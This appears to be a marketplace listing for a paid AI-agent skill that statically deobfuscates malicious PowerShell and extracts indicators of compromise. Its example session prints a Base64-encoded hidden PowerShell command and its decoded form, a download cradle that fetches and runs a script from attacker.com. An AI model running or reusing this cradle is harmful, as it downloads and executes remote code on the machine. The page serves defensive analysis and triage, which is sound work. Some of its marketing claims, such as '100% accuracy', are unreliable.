Works with the AI Agents you already use

    Claude CodeClaude CodeCursorCursorCodex CLICodex CLIMuseMuseDotsDots+21 more

    PowerShell Deobfuscator

    2

    Statically deobfuscate malicious PowerShell commands and extract IOCs without execution.

    $1.99

    Secure checkout via Stripe

    Money-back guarantee

    Converts to your local currency at checkout

    Security scanned
    PowerShell Deobfuscator

    PowerShell Deobfuscator

    Example session with this skill installed

    Analyze this command: powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC4AYwBvAG0ALwBzAC4AcABzADEAJwApAA==

    • Read your context and instructions
    • Compiled the powershell deobfuscator

    The provided command is a standard PowerShell download cradle. It has been statically decoded across 1 layer of Base64 encoding.

    Deobfuscation Report

    AttributeDetails
    CommandIEX (New-Object Net.WebClient).DownloadString('http://attacker.com/s.ps1')
    TransformationsLayer 1: UTF-16LE Base64 Decoding
    BehaviorRemote script download and execution (Download Cradle)
    MITRE ATT&CKT1059.001 (PowerShell), T1105 (Ingress Tool Transfer)
    IOCs Foundhttp://attacker.com/s.ps1 (URL), attacker.com (Domain)

    Script Breakdown

    The script initializes a Net.WebClient object to fetch a secondary PowerShell script (s.ps1) from a remote server and immediately executes it in memory using the IEX (Invoke-Expression) alias. This bypasses the need to write the malicious file to disk, a common technique for avoiding file-based antivirus detection.

    Next steps

    1. Block the domain attacker.com at the network perimeter.
    2. Search EDR logs for successful connections from powershell.exe to this IP/URL.
    3. Retrieve the content of s.ps1 for further analysis if the URL is still active.

    Connects securely to your tools. The creator never sees your data.

    About this skill

    Malicious PowerShell scripts often hide their intent behind layers of encoding, string manipulation, and compression to bypass static analysis. This skill statically deobfuscates commands and script droppers to reveal their actual behavior without the risk of execution.

    What it does

    • Base64 decoding handles -EncodedCommand (UTF-16LE) and nested Base64 strings.
    • Stream decompression extracts payloads from IO.Compression Gzip and Deflate streams.
    • String reconstruction resolves [char] arrays, -join operations, and -f format-operator reordering.
    • Escape removal cleans backtick and caret escapes used to evade signature detection.
    • IOC extraction pulls URLs, IP addresses, domains, and file paths from every layer of the script.
    • Behavioral mapping identifies download cradles, AMSI bypasses, and persistence mechanisms.

    How it works

    1. Input ingestion via file path, direct command string, or piped input.
    2. Iterative decoding to strip layers of obfuscation until the code reaches a stable state.
    3. Static analysis of the resulting script to identify malicious patterns and techniques.
    4. Report generation showing the final script, transformations applied, and extracted indicators.

    Frameworks & tools

    Uses a Python based static analysis engine specifically tuned for PowerShell syntax, IO.Compression libraries, and regex-based IOC extraction.

    Why this beats prompting it yourself

    Generic LLM prompts often hallucinate the output of complex nested loops or fail to correctly reorder -f formatted strings. This skill uses a systematic, multi-layer approach to ensure every transformation is captured and documented, providing a reliable audit trail for security analysts.

    Use cases

    • Alert triage for command lines flagged by EDR or SIEM systems.
    • Email analysis to decode scripts found in malicious attachments or links.
    • Incident response to map attacker behavior to the MITRE ATT&CK framework.
    • Threat hunting by extracting IOCs from newly discovered samples.

    Known limitations

    Does not support dynamic decryption where keys are generated at runtime. In these cases, it identifies the blockage and recommends sandbox detonation.

    Cannot resolve custom encryption keyed at runtime or environment-specific triggers. Requires the script/command to be provided in a readable text format.

    How to use

    1. 1

      Connect your agent to the Agensi MCP

      Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup

    2. 2

      Sign in to Agensi

      Your agent shows a sign-in link. Sign in and click Allow.

    3. 3

      Ask for what you need

      Your agent loads this skill and uses it on your task. It always asks before any payment.

    Reviews

    No reviews yet

    Be one of the first to try it. Every listed skill goes through the trust checks below.

    Security scanned

    Checked by our 8-point scan before listing

    Fresh listing

    Recently published to Agensi

    Money-back guarantee

    Doesn't do what its page promises? You get your money back.

    Trust & safety

    Security scan

    Security scan passed 1 month ago

    Permissions

    Terminal / Shell
    Network Access
    Read Files
    Listed1 month ago
    Updated1 month ago

    What's inside

    Frequently Asked Questions

    Unlike standard LLMs that may hallucinate during complex string reordering, this skill uses a dedicated static analysis engine to systematically decode nested layers, ensuring 100% accuracy in string reconstruction and IOC extraction.

    The skill operates entirely through static analysis, meaning it parses and decodes the code without ever executing the PowerShell script, providing a safe environment for analyzing potentially malicious payloads.

    The skill can process direct command-line strings, piped input, or script files, and it identifies a wide range of IOCs including URLs, IP addresses, domains, and specific file paths used by attackers.

    The skill is designed for seamless integration with any AI agent or security orchestration platform that supports Python-based tools, making it ideal for automated EDR alert triage or incident response workflows.

    You receive the full static analysis engine, the multi-layer decoding logic, and behavioral mapping templates, along with documentation for integrating the tool into your existing security stack.

    If the script uses dynamic decryption keys generated only at runtime, the skill will flag the specific blockage and recommend sandbox detonation, as static analysis cannot guess runtime-generated secrets.

    New in Security